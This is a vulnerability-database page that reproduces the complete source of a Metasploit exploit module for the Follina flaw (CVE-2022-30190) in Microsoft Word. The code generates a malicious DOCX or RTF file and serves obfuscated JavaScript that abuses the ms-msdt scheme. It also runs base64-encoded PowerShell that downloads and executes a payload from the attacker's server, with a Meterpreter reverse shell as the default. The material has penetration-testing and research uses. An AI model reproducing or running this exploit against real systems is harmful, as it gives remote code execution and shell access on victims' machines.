Lucene search
K

Microsoft Office Word MSDTJS

🗓️ 07 Jun 2022 17:43:12Reported by nao sec, mekhalleh (RAMELLA Sébastien), bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 377 Views

This module generates a Microsoft Word document that uses a remote template feature to fetch an HTML document and execute PowerShell code using the ms-msdt scheme

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2022-30190
31 May 202210:47
githubexploit
GithubExploit
Exploit for CVE-2022-30190
2 Jun 202212:33
githubexploit
GithubExploit
Exploit for CVE-2022-30190
18 Oct 202511:43
githubexploit
GithubExploit
Exploit for CVE-2022-30190
31 May 202214:10
githubexploit
GithubExploit
Exploit for CVE-2022-30190
31 May 202206:45
githubexploit
GithubExploit
Exploit for Improper Input Validation in Microsoft
25 Jan 202616:34
githubexploit
GithubExploit
Exploit for CVE-2022-30190
3 Jun 202200:25
githubexploit
GithubExploit
Exploit for CVE-2022-30190
14 Jun 202621:06
githubexploit
GithubExploit
Exploit for CVE-2022-30190
28 Nov 202303:47
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
15 Sep 202122:34
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word MSDTJS',
        'Description' => %q{
          This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
          feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
        },
        'References' => [
          ['CVE', '2022-30190'],
          ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
          ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
          ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
          ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
          ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
          ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
        ],
        'Author' => [
          'nao sec', # Original disclosure.
          'mekhalleh (RAMELLA Sébastien)', # Zeop CyberSecurity
          'bwatters-r7' # RTF support
        ],
        'DisclosureDate' => '2022-05-29',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'FILENAME' => 'msf.docx',
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
        },
        'Targets' => [
          [ 'Microsoft Office Word', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Follina'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptPath.new('CUSTOMTEMPLATE', [true, 'A DOCX file that will be used as a template to build the exploit.', File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')]),
      OptEnum.new('OUTPUT_FORMAT', [true, 'File format to use [docx, rtf].', 'docx', %w[docx rtf]]),
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE']
  end

  def generate_html
    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.ps1"

    dummy = ''
    (1..random_int(61, 100)).each do |_n|
      dummy += '//' + rand_text_alpha(100) + "\n"
    end

    cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")

    js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += "\n#{dummy}\n#{js_content}\n"
    html += '</script></body></html>'

    html
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str.start_with?('/')
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      send_response(cli, '', header_html)
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.ps1'
      print_status('Sending PowerShell Payload')

      send_response(cli, @payload_data, header_html)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def build_rtf
    print_status('Generating a malicious rtf file')

    uri = "#{@proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{normalize_uri(@my_resources.first.to_s)}.html"
    uri_space = 76 # this includes the required null character
    uri_max = uri_space - 1
    if uri.length > uri_max
      fail_with(Failure::BadConfig, "The total URI must be no more than #{uri_max} characters")
    end
    # we need the hex string of the URI encoded as UTF-8 and UTF-16
    uri.force_encoding('utf-8')
    uri_utf8_hex = uri.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
    uri_utf8_hex << '0' * ((uri_space * 2) - uri_utf8_hex.length)

    uri_utf16 = uri.encode('utf-16')
    # remove formatting char and convert to hex
    uri_utf16_hex = uri_utf16[1..].each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
    uri_utf16_hex << '0' * ((uri_space * 4) - uri_utf16_hex.length)
    rtf_file_data = exploit_data('CVE-2022-30190', 'cve_2022_30190_rtf_template.rtf')
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING_ASCII', uri_utf8_hex)
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING_UTF16', uri_utf16_hex)
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING', uri)
    file_create(rtf_file_data)
  end

  def build_docx
    print_status('Generating a malicious docx file')

    template_path = get_template_path
    unless File.extname(template_path).downcase.end_with?('.docx')
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    @docx = unpack_docx(template_path)
    print_status('Injecting payload in docx document')
    inject_docx
    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)
  end

  def primer
    @proto = (datastore['SSL'] ? 'https' : 'http')

    if datastore['OUTPUT_FORMAT'] == 'rtf'
      build_rtf
    else
      build_docx
    end
    @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
    super
  end

  def random_int(min, max)
    rand(max - min) + min
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.downcase.end_with?('.xml', '.rels')
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Apr 2026 19:02Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.8
CVSS 29.3
EPSS0.99374
SSVC
377